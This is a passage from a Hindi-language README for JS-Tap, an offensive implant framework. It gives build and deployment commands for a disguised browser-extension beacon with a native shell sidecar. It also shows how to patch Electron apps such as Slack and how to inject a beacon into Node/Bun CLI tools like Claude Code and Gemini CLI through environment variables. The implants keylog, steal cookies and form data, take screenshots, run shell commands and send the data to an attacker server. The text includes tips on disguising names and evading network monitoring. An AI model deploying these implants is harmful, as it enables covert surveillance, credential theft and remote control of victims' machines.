2. `extension_ids` में एक्सटेंशन आईडी कॉन्फ़िगर करें (ऊपर [स्टैटिक एक्सटेंशन आईडी](#static-extension-ids) देखें)
3. यूनिफ़ाइड बिल्ड चलाएँ:```bash
python3 buildAll.py
बिल्ड स्क्रिप्ट स्वचालित रूप से केंद्रीय कॉन्फ़िग से एक्सटेंशन आईडी को sidecar/config.json में सिंक करती है, सभी प्लेटफ़ॉर्म के लिए साइडकार बाइनरी को क्रॉस-कंपाइल करती है, और प्रत्येक डिप्लॉय बंडल में सही बाइनरी शामिल करती है।
यदि आपको एक्सटेंशन को पुनः बिल्ड किए बिना केवल साइडकार को पुनः बिल्ड करने की आवश्यकता है:```bash python3 buildAll.py --sidecar-only
या इसे सीधे बनाएं (यदि कोई स्थानीय कॉन्फ़िग नहीं है तो यह `../bex-beacon/config.json` पढ़ने पर वापस आ जाएगा):```bash
cd sidecar
python3 buildSidecar.py
विकास के दौरान परीक्षण पुनरावृत्तियों के लिए, बाइनरी और सभी नेटिव मैसेजिंग मेनिफेस्ट को हटाने के लिए sidecar-विशिष्ट अनइंस्टॉल स्क्रिप्ट का उपयोग करें:```bash ./sidecar/uninstall.sh
यह `~/.local/bin/` से बाइनरी और सभी Chrome/Firefox मेनिफ़ेस्ट निर्देशिकाओं (Linux और macOS) से मेनिफ़ेस्ट JSON को हटाता है।
तैनात सिस्टम के लिए, इसके बजाय बंडल के `uninstall.sh` या `uninstall.bat` का उपयोग करें — यह एक कदम में एक्सटेंशन और साइडकार दोनों को हटाता है। ऊपर [अनइंस्टॉल करना](#uninstalling) देखें।
#### साइडकार कैसे काम करता है```
JS-Tap Portal UI
│ POST /api/sidecar/command
▼
JS-Tap Server (queues SIDECAR_COMMAND task)
│ Beacon polls on heartbeat
▼
BEX Beacon (background service worker)
│ browser.runtime.connectNative()
▼
Sidecar Go Binary (native messaging, stdio)
│ Executes command, returns result
▼
BEX Beacon (encrypts result, sends to server)
│ POST /client/metrics/<uuid>
▼
JS-Tap Server (stores SidecarResult)
│ UI polls GET /api/sidecar/result/<requestId>
▼
JS-Tap Portal UI (displays result)
बीकन और साइडकार बाइनरी के बीच संचार नेटिव मैसेजिंग प्रोटोकॉल का उपयोग करता है — प्रत्येक संदेश में 4-बाइट लिटिल-एंडियन लंबाई के बाद एक JSON पेलोड होता है।
साइडकार कमांड:
Atom Beacon इम्प्लांट को atomize.py पैचर का उपयोग करके इलेक्ट्रॉन डेस्कटॉप एप्लिकेशन में इंजेक्ट किया जाता है। यह एजेंट कोड को मुख्य प्रक्रिया एंट्री पॉइंट से पहले जोड़ने के लिए ऐप के ASAR आर्काइव (या अनपैक किए गए ऐप निर्देशिका) को संशोधित करता है।
resources/app.asar या resources/app/ निर्देशिकाLinux और macOS पर, atomize.py को Python 3 के साथ सीधे चलाया जा सकता है। Windows पर, Python स्थापित नहीं हो सकता है। आप PyInstaller का उपयोग करके एक स्टैंडअलोन atomize.exe बना सकते हैं:```bash
cd atom-beacon
pip install pyinstaller
pyinstaller atomize.spec
यह `dist/atomize.exe` उत्पन्न करता है — एक एकल-फ़ाइल निष्पादन योग्य जो Python, ASAR लाइब्रेरी और पेलोड फ़ाइलों को बंडल करता है। लक्ष्य Windows मशीन पर Python स्थापना की आवश्यकता नहीं है। उपयोग Python संस्करण के समान है:```
atomize.exe --detect-only C:\Users\target\AppData\Local\slack\app-4.40.0
atomize.exe --server https://10.0.0.1:8444 C:\Users\target\AppData\Local\slack\app-4.40.0
नोट: PyInstaller केवल उस OS के लिए बना सकता है जिस पर वह चलता है। Windows
.exeबनाने के लिए, PyInstaller को Windows मशीन (या Windows VM/CI रनर) पर चलाएँ।
Windows pip समस्या निवारण:
यदि Windows पर pip पहचाना नहीं जाता है लेकिन python काम करता है, तो इसके बजाय python -m pip का उपयोग करें:```
python -m pip install pyinstaller
यदि `pyinstaller` स्थापित करने के बाद नहीं मिलता है, तो `python -m PyInstaller` (केस-संवेदी) का उपयोग करें:```
python -m PyInstaller atomize.spec
यदि pip स्वयं उपलब्ध नहीं है, तो सुनिश्चित करें कि Python को "Add Python to PATH" चेकबॉक्स चयनित करके स्थापित किया गया था। आप pip को मैन्युअल रूप से भी बूटस्ट्रैप कर सकते हैं:``` python -m ensurepip --upgrade
#### लक्ष्य का विश्लेषण करना
पैच लगाने से पहले, लक्ष्य एप्लिकेशन की संरचना, सुरक्षा सेटिंग्स और कोड हस्ताक्षर स्थिति का विश्लेषण करने के लिए `--detect-only` का उपयोग करें:```bash
cd atom-beacon
python3 atomize.py --detect-only /Applications/Slack.app
This reports:
package.json से)cd atom-beacon python3 atomize.py --server https://10.0.0.1:8444 /Applications/Slack.app
विकल्प:
| फ़्लैग | विवरण |
|---|---|
| `--server URL` | JS-Tap सर्वर URL (पैचिंग के लिए आवश्यक) |
| `--tag TAG` | क्लाइंट टैग, पोर्टल में दिखाया जाता है (डिफ़ॉल्ट: `atom`) |
| `--detect-only` | पैचिंग के बिना विश्लेषण करें |
| `--no-backup` | मूल ASAR की `.bak` बैकअप न बनाएं |
| `--output PATH` | पैच किए गए ASAR को इन-प्लेस के बजाय दूसरे पथ पर लिखें |
पैचर स्वचालित रूप से:
- `.app` बंडलों (macOS), `resources/` निर्देशिकाओं (Linux/Windows) के अंदर `app.asar` या `app/` ढूंढता है, या सीधे पथ स्वीकार करता है
- संशोधन से पहले `.bak` बैकअप बनाता है (जब तक `--no-backup` न हो)
- पुनः पैच करने से पहले मौजूदा पैच का पता लगाता है और हटाता है
- टकराव से बचने के लिए प्रति पैच एक अद्वितीय IPC उपसर्ग उत्पन्न करता है
- रेंडरर पेलोड को एजेंट के अंदर एक स्ट्रिंग स्थिरांक के रूप में एम्बेड करता है (एकल-फ़ाइल इंजेक्शन)
#### पैच के बाद के नोट्स
| प्लेटफ़ॉर्म | नोट्स |
|---|---|
| **macOS** | कोड हस्ताक्षर अमान्य हो जाता है। यदि ऐप "क्षतिग्रस्त" चेतावनी दिखाता है, तो `xattr -cr /path/to/App.app` चलाएँ या `codesign --force --deep --sign - /path/to/App.app` से पुनः हस्ताक्षर करें। |
| **Windows** | SmartScreen प्रारंभिक डाउनलोड पर चेतावनी दे सकता है, लेकिन पहले से स्थापित ऐप्स पुनः सत्यापित नहीं होते। इन-प्लेस पैचिंग बिना किसी समस्या के काम करता है। |
| **Linux** | कोई कोड हस्ताक्षर प्रवर्तन नहीं। पैच किया गया ऐप सामान्य रूप से चलता है। |
#### अनपैक करना (वापस लाना)
पैच किए गए ऐप को वापस लाने के लिए, `.bak` फ़ाइल को पुनर्स्थापित करें:```bash
cp /path/to/resources/app.asar.bak /path/to/resources/app.asar
Target Electron App (patched) │ app.asar main entry point ▼ Atom Beacon Agent (main process, Node.js) │ Registers with JS-Tap server │ RSA-OAEP key exchange → AES-GCM encrypted channel ▼ Heartbeat Loop (jittered interval) ├── Poll for tasks (screenshot commands, shell commands, etc.) ├── Flush renderer data (keystrokes, inputs, cookies, storage, network calls) ├── Exfiltrate queued data (encrypted, single endpoint) └── Report status (tracked windows, host info)
Renderer Injection (automatic) │ webContents.executeJavaScript() on every BrowserWindow ▼ Renderer Payload (per-window) ├── Keylogger (keydown capture, debounced flush) ├── Input/Form capture ├── Cookie/localStorage/sessionStorage monitoring ├── URL tracking (including SPA navigation) ├── XHR/Fetch monkey-patching └── HTML source capture
एजेंट उसी एन्क्रिप्टेड एंडपॉइंट के माध्यम से सर्वर से संचार करता है जिसका उपयोग BEX बीकन (`POST /client/metrics/<uuid>`) द्वारा किया जाता है। सभी डेटा रजिस्ट्रेशन के दौरान स्थापित कुंजियों से AES-GCM एन्क्रिप्टेड होता है।
#### टूल्स पैनल का उपयोग (एटम बीकन)
जब पोर्टल में एटम बीकन क्लाइंट चुना जाता है, तो **टूल्स** पैनल प्रदान करता है:
**ब्राउज़र प्रॉक्सी पैनल** — प्रॉक्सी प्रारंभ/बंद करें, CA सर्ट डाउनलोड करें, और प्रॉक्सी टिकट जनरेट करें। अनुरोध Electron ऐप के नेटवर्क संदर्भ के माध्यम से रूट किए जाते हैं।
**फ़ाइल ब्राउज़र टैब** — लक्ष्य के फ़ाइल सिस्टम को ब्राउज़ करें और फ़ाइलें पढ़ें, BEX साइडकार फ़ाइल ब्राउज़र के समान लेकिन Electron प्रक्रिया में मूल रूप से चल रहा है।
**शेल टैब** — लक्ष्य पर कमांड निष्पादित करें, BEX साइडकार शेल के समान लेकिन Node.js `child_process` के माध्यम से मूल रूप से चल रहा है।
**स्क्रीनशॉट टैब** — केवल एटम बीकन। प्रदान करता है:
- **अभी कैप्चर करें** बटन मैनुअल ऑन-डिमांड स्क्रीनशॉट के लिए
- **ऑटो-कैप्चर ह्यूरिस्टिक्स** — स्वचालित स्क्रीनशॉट ट्रिगर के लिए कॉन्फ़िगर करने योग्य टॉगल:
- *विंडो फोकस पर कैप्चर करें* — जब उपयोगकर्ता ऐप विंडो के बीच स्विच करता है तब स्क्रीनशॉट
- *नेविगेशन पर कैप्चर करें* — पेज नेविगेशन पर स्क्रीनशॉट (Slack में चैनल स्विचिंग जैसे SPA नेविगेशन सहित)
- *नई विंडो पर कैप्चर करें* — जब ऐप एक नई विंडो खोलता है तब स्क्रीनशॉट
- **कूलडाउन** — प्रति विंडो स्वचालित कैप्चर के बीच न्यूनतम सेकंड (फ्लडिंग को रोकता है)
ऑटो-कैप्चर डिबाउंस्ड ट्रिगर का उपयोग करता है — SPA नेविगेशन के लिए, अंतिम नेविगेशन/शीर्षक-परिवर्तन घटना के 3 सेकंड बाद स्क्रीनशॉट लिया जाता है, यह सुनिश्चित करते हुए कि प्रस्थान करने वाले पेज के बजाय आगमन सामग्री कैप्चर की जाती है।
टूल्स पैनल बैज एटम बीकन क्लाइंट के लिए **बिल्ट-इन** दिखाता है (क्योंकि OS एक्सेस एजेंट के लिए मूल है, बाहरी साइडकार बाइनरी पर निर्भर नहीं है)।
### V8 बीकन (Node.js / Bun CLI ऐप्स)
V8 बीकन इम्प्लांट को Node.js और Bun CLI अनुप्रयोगों में पर्यावरण चर के माध्यम से इंजेक्ट किया जाता है। लक्ष्य एप्लिकेशन में कोई पैचिंग या संशोधन आवश्यक नहीं है।
#### बीकन का निर्माण```bash
cd v8-beacon
python3 v8ize.py --server https://10.0.0.1:8444 --tag gemini
विकल्प:
| फ़्लैग | विवरण |
|---|---|
--server URL | JS-Tap सर्वर URL (आवश्यक) |
--tag TAG | क्लाइंट टैग, पोर्टल में दिखाया गया (डिफ़ॉल्ट: v8) |
यह सर्वर URL और टैग के साथ एक स्व-निहित v8-beacon.js फ़ाइल उत्पन्न करता है।
Node.js अनुप्रयोगों के लिए (Gemini CLI, OpenCode, कस्टम Node.js टूल्स, आदि):```bash export NODE_OPTIONS="--require /path/to/v8-beacon.js" gemini # or any Node.js CLI tool
**Bun अनुप्रयोगों के लिए** (Claude Code, आदि):```bash
export BUN_OPTIONS="--preload /path/to/v8-beacon.js"
claude # or any Bun-based CLI tool
आप दोनों रनटाइम्स को कवर करने के लिए एक साथ दोनों एनवायरनमेंट वेरिएबल्स सेट कर सकते हैं:```bash export NODE_OPTIONS="--require /path/to/v8-beacon.js" export BUN_OPTIONS="--preload /path/to/v8-beacon.js"
बीकन एप्लिकेशन के अपने कोड से पहले लोड होता है और रनटाइम को इंस्ट्रूमेंट करना शुरू कर देता है। लक्ष्य एप्लिकेशन सामान्य रूप से चलता है — बीकन उपयोगकर्ता के लिए अदृश्य होता है।
#### यह कैसे काम करता है```
Target CLI Application (e.g. claude, gemini)
│ --require / --preload loads v8-beacon.js
▼
V8 Beacon Agent (same process)
│ Registers with JS-Tap server
│ RSA-OAEP key exchange → AES-GCM encrypted channel
▼
Heartbeat Loop (jittered interval)
├── Poll for tasks (shell commands, file browser, proxy start/stop, plugins, etc.)
├── Flush captured data (network calls, keystrokes)
├── Exfiltrate queued data (encrypted, single endpoint)
└── Report status (host info, capabilities, proxy state)
Network Hooks (automatic)
├── http.request / https.request (monkey-patched)
├── globalThis.fetch (monkey-patched)
├── http2.connect (monkey-patched)
└── Module._load intercept for node-fetch
Stdin Hooks (automatic)
├── process.stdin.push / emit
├── tty.ReadStream.prototype.push
└── readline.createInterface
कुछ CLI उपकरण स्वयं को चाइल्ड प्रक्रियाओं के रूप में स्पॉन करते हैं। उदाहरण के लिए, Gemini CLI पैरेंट प्रक्रिया में प्रमाणीकरण चलाता है, फिर इंटरैक्टिव सत्र (जहाँ वास्तविक API कॉल होते हैं) के लिए एक चाइल्ड node gemini प्रक्रिया स्पॉन करता है।
V8 Beacon स्वचालित रूप से इसे संभालता है:
__V8_BEACON_ACTIVE और __V8_BEACON_RUNTIME पर्यावरण चर सेट करता है__V8_BEACON_UUID, __V8_BEACON_SENDKEY, __V8_BEACON_RECVKEY के माध्यम से)npm, npx, yarn, tsc, eslint, आदि) हमेशा छोड़ दिए जाते हैंइसका मतलब है कि पैरेंट + चाइल्ड प्रक्रियाओं वाला एक Gemini CLI सत्र पोर्टल में सभी ईवेंट एकीकृत के साथ एक ही क्लाइंट के रूप में दिखाई देता है।
जब पोर्टल में (Nodes टैब के अंतर्गत) कोई V8 Beacon क्लाइंट चुना जाता है, तो Tools पैनल प्रदान करता है:
Browser Proxy panel — प्रॉक्सी शुरू/बंद करें, CA प्रमाणपत्र डाउनलोड करें, और प्रॉक्सी टिकट जनरेट करें। अनुरोध Node.js/Bun प्रक्रिया के नेटवर्क संदर्भ के माध्यम से रूट किए जाते हैं।
File Browser tab — लक्ष्य की फ़ाइल सिस्टम ब्राउज़ करें और फ़ाइलें पढ़ें, BEX Sidecar और Atom Beacon फ़ाइल ब्राउज़रों के समान।
Shell tab — लक्ष्य पर Node.js child_process के माध्यम से कमांड निष्पादित करें।
Tools पैनल का बैज Built-in दिखाता है (OS एक्सेस एजेंट के लिए मूल है)।
| एप्लिकेशन | रनटाइम | स्थिति |
|---|---|---|
| Gemini CLI | Node.js | पूर्ण नेटवर्क इंटरसेप्ट (streamGenerateContent SSE सहित), कीलॉगिंग, फ़ाइल/शेल एक्सेस |
| Claude Code | Bun 1.3.10 | पूर्ण नेटवर्क इंटरसेप्ट (/v1/messages SSE स्ट्रीमिंग सहित), कीलॉगिंग, फ़ाइल/शेल एक्सेस |
यदि आप JS-Tap को jsTapServer.py स्क्रिप्ट के साथ सिंगल थ्रेडेड मोड में चला रहे हैं (परीक्षण/डेमो के लिए बढ़िया), तो jsTapServer.py स्क्रिप्ट में सीधे कॉन्फ़िगरेशन विकल्प हैं।
उत्पादन उपयोग के लिए JS-Tap को letsencrypt जैसे किसी से उचित SSL प्रमाणपत्र वाले सार्वजनिक रूप से उपलब्ध सर्वर पर होस्ट किया जाना चाहिए। इसे तैनात करने का सबसे आसान तरीका है NGINX को JS-Tap के लिए फ्रंट-एंड के रूप में कार्य करने देना और letsencrypt प्रमाणपत्र को संभालना, और फिर डिक्रिप्टेड ट्रैफ़िक को स्थानीय रूप से HTTP ट्रैफ़िक के रूप में JS-Tap पर अग्रेषित करना (अर्थात NGINX और JS-Tap एक ही VPS पर चलते हैं)।
यदि आप proxyMode को true पर सेट करते हैं, तो JS-Tap सर्वर HTTP मोड में चलेगा, और क्लाइंट IP पता X-Forwarded-For हेडर से लेगा, जिसे NGINX को सेट करने के लिए कॉन्फ़िगर करना आवश्यक है।
जब proxyMode को false पर सेट किया जाता है, तो JS-Tap एक स्व-हस्ताक्षरित प्रमाणपत्र के साथ चलेगा, जो परीक्षण के लिए उपयोगी है। क्लाइंट IP कनेक्ट होने वाले क्लाइंट के स्रोत IP से लिया जाएगा।
dataDirectory पैरामीटर JS-Tap को बताता है कि SQLite डेटाबेस और लूट निर्देशिका के लिए किस निर्देशिका का उपयोग करना है। सभी "लूट" डेटाबेस में संग्रहीत नहीं होती है, विशेष रूप से स्क्रीनशॉट और स्क्रैप की गई HTML फ़ाइलें नहीं।
सर्वर पोर्ट कॉन्फ़िगरेशन बदलने के लिए jsTapServer.py की अंतिम पंक्ति देखें।``` app.run(debug=False, host='0.0.0.0', port=8444, ssl_context='adhoc')
### BEX बीकन कॉन्फ़िगरेशन (config.json)
`bex-beacon/config.json` में स्थित। यह सभी बिल्ड कॉन्फ़िगरेशन — एक्सटेंशन, एक्सटेंशन आईडी, और साइडकार सेटिंग्स का **सत्य का एकमात्र स्रोत** है।```json
{
"extension": {
"name": "Resource Optimizer",
"short_name": "ResOpt",
"version": "2.1.4",
"description": "Optimizes page resource loading for improved performance.",
"author": "WebPerf Tools",
"homepage_url": "https://www.example.com",
"install_dirname": "webperf-tools"
},
"extension_ids": {
"chrome_key": "",
"chrome_key_pem": "",
"chrome_extension_id": "",
"firefox_extension_id": "bex-beacon@jstap"
},
"js_tap_server": {
"domain": "127.0.0.1",
"port": 8444
},
"heartbeat": {
"base_interval": 5,
"jitter_percent": 30
},
"domain_scoping": {
"whitelist_enabled": false,
"whitelist": [
"https://*.example.com/*",
"http://localhost:8000/*"
]
},
"sidecar": {
"enabled": false,
"host_name": "com.jstap.sidecar",
"binary_name": "sidecar"
}
}
एक्सटेंशन के मेनिफ़ेस्ट मेटाडेटा और डिप्लॉयमेंट नामकरण को नियंत्रित करता है। chrome://extensions या about:addons में एक्सटेंशन के दिखावट को छिपाने के लिए इन फ़ील्ड को बदलें।
निर्धारित बिल्ड के लिए स्थिर एक्सटेंशन आईडी को नियंत्रित करता है। सेटअप निर्देशों के लिए Static Extension IDs देखें।
| फ़ील्ड | विवरण |
|---|---|
domain | आपके JS-Tap सर्वर का होस्टनाम या IP. |
port | JS-Tap सर्वर जिस पोर्ट पर सुन रहा है। |
नियंत्रित करता है कि बीकन कितनी बार टेलीमेट्री रिपोर्ट करने और नए कार्य (जैसे इंजेक्शन कमांड या साइडकार कमांड) लेने के लिए सर्वर से संपर्क करता है।
| फ़ील्ड | विवरण |
|---|
OPSEC के लिए जिटर महत्वपूर्ण है - यह बीकन को पूरी तरह से नियमित नेटवर्क पैटर्न बनाने से रोकता है जो नेटवर्क मॉनिटरिंग टूल द्वारा पकड़ा जा सकता है। प्रत्येक हार्टबीट ताज़ा यादृच्छिकता के साथ अगले का समय निर्धारित करता है।
नियंत्रित करता है कि बीकन किन डोमेन की निगरानी और उनके साथ इंटरैक्ट करता है।
| फ़ील्ड | विवरण |
|---|---|
whitelist_enabled | = सभी डोमेन की निगरानी करें (all_domains मोड)। = केवल व्हाइटलिस्ट पैटर्न से मेल खाने वाले डोमेन की निगरानी करें। |
जब व्हाइटलिस्ट सक्षम होता है, तो बीकन इसे कई परतों पर लागू करता है:
यह सख्त स्कोपिंग आवश्यकताओं वाले रेड टीम अभियानों के लिए महत्वपूर्ण है। whitelist_enabled: true सेट करने से यह सुनिश्चित होता है कि बीकन दायरे से बाहर के डोमेन से इंटरैक्ट नहीं करेगा।
व्हाइटलिस्ट पैटर्न का उदाहरण:```json "whitelist": [ "https://.targetcorp.com/", "https://app.targetcorp.com/", "http://internal.targetcorp.local:8080/" ]
#### sidecar
BEX Beacon में वैकल्पिक नेटिव मैसेजिंग सुविधा को नियंत्रित करता है। पूर्ण विवरण के लिए ऊपर [Sidecar](#sidecar-native-messaging) अनुभाग देखें।
| Field | Description |
|---|---|
| `enabled` | `false` = कोई नेटिव मैसेजिंग नहीं (डिफ़ॉल्ट)। `true` = sidecar समर्थन सक्षम करें। एक्सटेंशन मेनिफेस्ट में `nativeMessaging` अनुमति जोड़ता है। |
| `host_name` | नेटिव मैसेजिंग होस्ट का नाम। डिफ़ॉल्ट: `com.jstap.sidecar` |
| `binary_name` | संकलित sidecar बाइनरी का नाम। डिफ़ॉल्ट: `sidecar`. लक्ष्य सिस्टम पर बाइनरी को छिपाने के लिए इसे बदलें (जैसे `chrome-helper`)। |
एकीकृत बिल्ड स्क्रिप्ट स्वचालित रूप से `extension_ids` से एक्सटेंशन आईडी को sidecar के कॉन्फ़िग में सिंक करती है, इसलिए आपको केवल एक स्थान पर आईडी कॉन्फ़िगर करने की आवश्यकता है।
### JS-Tap पेलोड (telemlib.js) कॉन्फ़िगरेशन
ये कॉन्फ़िगरेशन वेरिएबल **initGlobals()** फ़ंक्शन में हैं।
#### JS-Tap सर्वर स्थान
आपको पेलोड को उस JS-Tap सर्वर के URL के साथ कॉन्फ़िगर करना होगा जिससे वह वापस जुड़ेगा।```
window.taperexfilServer = "https://127.0.0.1:8444";
यह या तो trap या implant पर सेट किया जाता है यह चर के साथ सेट किया जाता है:``` window.taperMode = "trap"; or window.taperMode = "implant";
#### ट्रैप मोड प्रारंभ पृष्ठ
केवल ट्रैप मोड के लिए आवश्यक। ऊपर **ऑपरेटिंग मोड** अनुभाग में स्पष्टीकरण देखें।<br>
जब iFrame ट्रैप सेट किया जाता है तो यह उस पृष्ठ को सेट करता है जिस पर उपयोगकर्ता शुरू होता है।```
window.taperstartingPage = "http://targetapp.com/somestartpage";
यदि आप चाहते हैं कि ट्रैप वर्तमान पृष्ठ पर शुरू हो, बजाय उपयोगकर्ता को iframe ट्रैप में किसी भिन्न पृष्ठ पर रीडायरेक्ट करने के, आप इसका उपयोग कर सकते हैं:``` window.taperstartingPage = window.location.href;
#### क्लाइंट टैग
यह तब उपयोगी होता है जब आप JS-Tap का उपयोग एक साथ कई एप्लिकेशन या डिप्लॉयमेंट के खिलाफ कर रहे हों और यह देखना चाहते हों कि कौन सा पेलोड लोड किया गया था। याद रखें कि संपूर्ण /payloads निर्देशिका प्रस्तुत की जाती है, आपके पास विभिन्न मोड, स्टार्ट पेज और क्लाइंट टैग के साथ कॉन्फ़िगर किए गए कई JS-Tap पेलोड हो सकते हैं।
यह टैग स्ट्रिंग (इसे छोटा रखें!) JS-Tap पोर्टल में क्लाइंट उपनाम से पहले जोड़ा जाता है। कई पेलोड सेट करें, प्रत्येक अपने उपयोग किए जा रहे एप्लिकेशन के लिए उपयुक्त कॉन्फ़िगरेशन के साथ, और एक टैग जोड़ें जो बताए कि क्लाइंट किस ऐप में चल रहा है।```
window.taperTag = 'whatever';
ग्राहकों द्वारा Custom Payload कार्यों की जाँच करने और वे कितनी बार जाँच कर रहे हैं, इसे कॉन्फ़िगर करने के लिए उपयोग किया जाता है। जिटर सेटिंग्स आपको वैकल्पिक रूप से एक floor और ceiling modifier सेट करने की अनुमति देती हैं। इन दो संख्याओं के बीच एक यादृच्छिक मान चुना जाएगा और check delay में जोड़ा जाएगा। बिना जिटर के लिए इन्हें 0 और 0 पर सेट करें।``` window.taperTaskCheck = true; window.taperTaskCheckDelay = 5000; window.taperTaskJitterBottom = -2000; window.taperTaskJitterTop = 2000;
#### क्लाइंट फ़िंगरप्रिंटिंग
यह कई विशेषताओं के आधार पर क्लाइंट का एक फिंगरप्रिंट गणना करने के लिए सक्षम किया जा सकता है। इस फिंगरप्रिंटिंग से एक बहुत छोटा हैश बनाया जाता है। इस छोटे हैश को वैकल्पिक रूप से **App SettingS** में इसे सक्षम करके क्लाइंट कार्ड पर प्रदर्शित किया जा सकता है। क्लाइंट सूची फ़िल्टर को इस फिंगरप्रिंट पर फ़िल्टर किया जा सकता है ताकि कई JS-Tap क्लाइंट की पहचान की जा सके जो संभवतः उसी कंप्यूटर पर चल रहे हों। ध्यान दें कि यदि कोई उद्यम उपयोगकर्ताओं को समान सिस्टम जारी करता है, तो वे आसानी से एक ही फिंगरप्रिंट मान के साथ समाप्त हो सकते हैं।
To enable fingerprint calculations in JS-Tap payload:```
window.taperFingerprint = true;
भले ही फिंगरप्रिंट की गणना की जा रही हो, यह क्लाइंट कार्ड में तब तक नहीं दिखेगा जब तक कि फीचर App Settings में भी सक्षम न किया जाए।
ध्यान दें कि आप क्लाइंट सूची को फिंगरप्रिंट हैश द्वारा फ़िल्टर कर सकते हैं ताकि वे क्लाइंट दिखाई दें जो संभवतः एक ही कंप्यूटर हैं।
यह true/false सेटिंग है कि देखे गए प्रत्येक पेज के HTML कोड की एक प्रतिलिपि एक्सफ़िल्ट्रेट की जाती है या नहीं। ये एक्सफ़िल्ट्रेट की गई HTML फ़ाइलें फॉर्म सबमिशन कस्टम पेलोड को स्वतः उत्पन्न करते समय CSRF टोकन स्रोतों को खोजने के लिए आवश्यक हैं।``` window.taperexfilHTML = true;
#### फ़ॉर्म सबमिशन की प्रतिलिपि
सभी फ़ॉर्म पोस्ट की प्रतिलिपि इंटरसेप्ट करने के लिए सही/गलत सेटिंग।```
window.taperexfilFormSubmissions = true;
एक्सएचआर (XHR) और फ़ेच (Fetch) एपीआई की मंकीपैचिंग सक्षम करें। यह ट्रैप मोड में काम करता है। इम्प्लांट मोड में, केवल फ़ेच एपीआई को मंकीपैच किया जाता है। मंकीपैचिंग जावास्क्रिप्ट को रनटाइम पर पुनर्लिखित करने की अनुमति देती है। इस सुविधा को सक्षम करने से जावास्क्रिप्ट कोड द्वारा उपयोग किए जाने वाले एक्सएचआर और फ़ेच नेटवर्किंग एपीआई को उन नेटवर्क कॉल की सामग्री को टैप करने के लिए पुनर्लिखित किया जाएगा। ध्यान दें कि jQuery और Ajax आधारित नेटवर्क कॉल एक्सएचआर एपीआई में कैप्चर की जाएंगी, जिसका उपयोग वे नेटवर्क कॉल के लिए अंडर द हूड करते हैं। एपीआई कॉल कस्टम पेलोड का ऑटोजनरेशन निर्भर करता है, निश्चित रूप से, इस मंकीपैच सुविधा का उपयोग करके एपीआई कॉल को इंटरसेप्ट करने पर।``` window.monkeyPatchAPIs = true;
## JS-Tap पोर्टल
सर्वर स्क्रिप्ट द्वारा स्टार्टअप पर प्रदान किए गए एडमिन क्रेडेंशियल्स से लॉगिन करें (`adminCreds.txt` में भी सहेजे गए)।
### क्लाइंट प्रबंधन
क्लाइंट बाईं ओर दिखाई देते हैं, प्रकार के आधार पर समूहित। क्लाइंट सूची के शीर्ष पर टॉगल बटन का उपयोग करके दृश्यों के बीच स्विच करें।
* **Apps** — DOM बीकन क्लाइंट (telemlib.js पेलोड्स से)
* **Browsers** — BEX बीकन क्लाइंट
* **Electrons** — एटम बीकन क्लाइंट (पैच किए गए Electron ऐप्स से)
* **Nodes** — V8 बीकन क्लाइंट (Node.js/Bun CLI ऐप्स से)
किसी क्लाइंट का चयन करने पर दाईं ओर उनकी घटनाओं (लूट) की एक समय श्रृंखला दिखाई देगी। यदि आप सूची को फ़िल्टर करते हैं (उदाहरण के लिए, Apps से Browsers पर स्विच करना), तो वर्तमान में चयनित लूट दृश्य धुंधला हो जाएगा और ग्रेस्केल में बदल जाएगा, जो "पृष्ठभूमि" डेटा को इंगित करता है।
जब **Browsers** दृश्य में हों, तो विस्तार कॉलम हेडर एक **Loot / Tools** टॉगल दिखाता है:
* **Loot** टैब — विज़िट किए गए डोमेन और इंजेक्शन नियंत्रण दिखाने वाले डोमेन कार्ड।
* **Tools** टैब — ब्राउज़र प्रॉक्सी पैनल (हमेशा दृश्यमान) और साइडकार पैनल (संकुचन योग्य, यदि बीकन इसका समर्थन करता है)।
एटम बीकन क्लाइंट (**Electrons** दृश्य में) और V8 बीकन क्लाइंट (**Nodes** दृश्य में) में भी **Loot / Tools** टॉगल होता है। उनके Tools पैनल में अलग साइडकार बाइनरी की आवश्यकता के बिना बिल्ट-इन फ़ाइल ब्राउज़िंग और शेल एक्सेस प्रदान किया जाता है। एटम बीकन में अतिरिक्त रूप से स्क्रीनशॉट नियंत्रण होते हैं।
**BEX बीकन (Browsers)** का विस्तार करके उन सभी डोमेन को देखा जा सकता है जिन पर वे गए हैं। आप डोमेन सूची से DOM बीकन इंजेक्शन ट्रिगर कर सकते हैं। साइडबार में BEX बीकन कार्ड उनके द्वारा सफलतापूर्वक उत्पन्न किए गए किसी भी DOM बीकन का सारांश प्रदर्शित करेंगे।
क्लाइंट सूची को समय (पहली बार देखा गया, अंतिम अपडेट प्राप्त) के अनुसार क्रमबद्ध किया जा सकता है और सूची को केवल "स्टार" किए गए क्लाइंट दिखाने के लिए फ़िल्टर किया जा सकता है। क्लाइंट सूची के ऊपर एक त्वरित फ़िल्टर खोज भी है जो आपको दर्ज किए गए स्ट्रिंग वाले क्लाइंट को तुरंत फ़िल्टर करने की अनुमति देती है। यदि आप पेलोड कॉन्फ़िगरेशन में एक वैकल्पिक टैग सेट करते हैं तो उपयोगी। वैकल्पिक टैग क्लाइंट उपनाम से पहले दिखाई देते हैं। फ़िल्टरिंग वैकल्पिक टैग, उपनाम, IP पता, फ़िंगरप्रिंट, ब्राउज़र, प्लेटफ़ॉर्म, क्लाइंट प्रकार, डोमेन और UUID के विरुद्ध जाँची जाती है। ध्यान दें कि आप अपने खोज शब्द के आगे '!' लगाकर फ़िल्टर खोज को उलट सकते हैं। उदाहरण के लिए, Firefox का उपयोग न करने वाले सभी क्लाइंट दिखाने के लिए फ़िल्टर शब्द "!firefox" का उपयोग करें। आप AND तर्क के लिए `&&` के साथ कई शब्दों को जोड़ सकते हैं (जैसे `linux && chrome && !bex`)।
प्रत्येक क्लाइंट में एक 'x' बटन होता है (स्टार बटन के पास)। यह आपको उस क्लाइंट के लिए सत्र हटाने की अनुमति देता है, यदि वे कबाड़ या बेकार डेटा भेज रहे हैं, तो आप उस क्लाइंट को भविष्य में डेटा सबमिट करने से रोक सकते हैं।
| बीकॉन प्रकार | यह क्या है | यह वहाँ कैसे पहुँचता है |
|---|
| DOM बीकॉन (telemlib.js) | एक JavaScript पेलोड जो एक वेब पेज में इंजेक्ट किया जाता है। DOM को इंस्ट्रूमेंट करता है, उपयोगकर्ता गतिविधि कैप्चर करता है, स्क्रीनशॉट, नेटवर्क कॉल। | XSS भेद्यता, या सीधे लक्ष्य ऐप की JavaScript फ़ाइलों में जोड़ा गया (पोस्ट-एक्सप्लॉइटेशन)। |
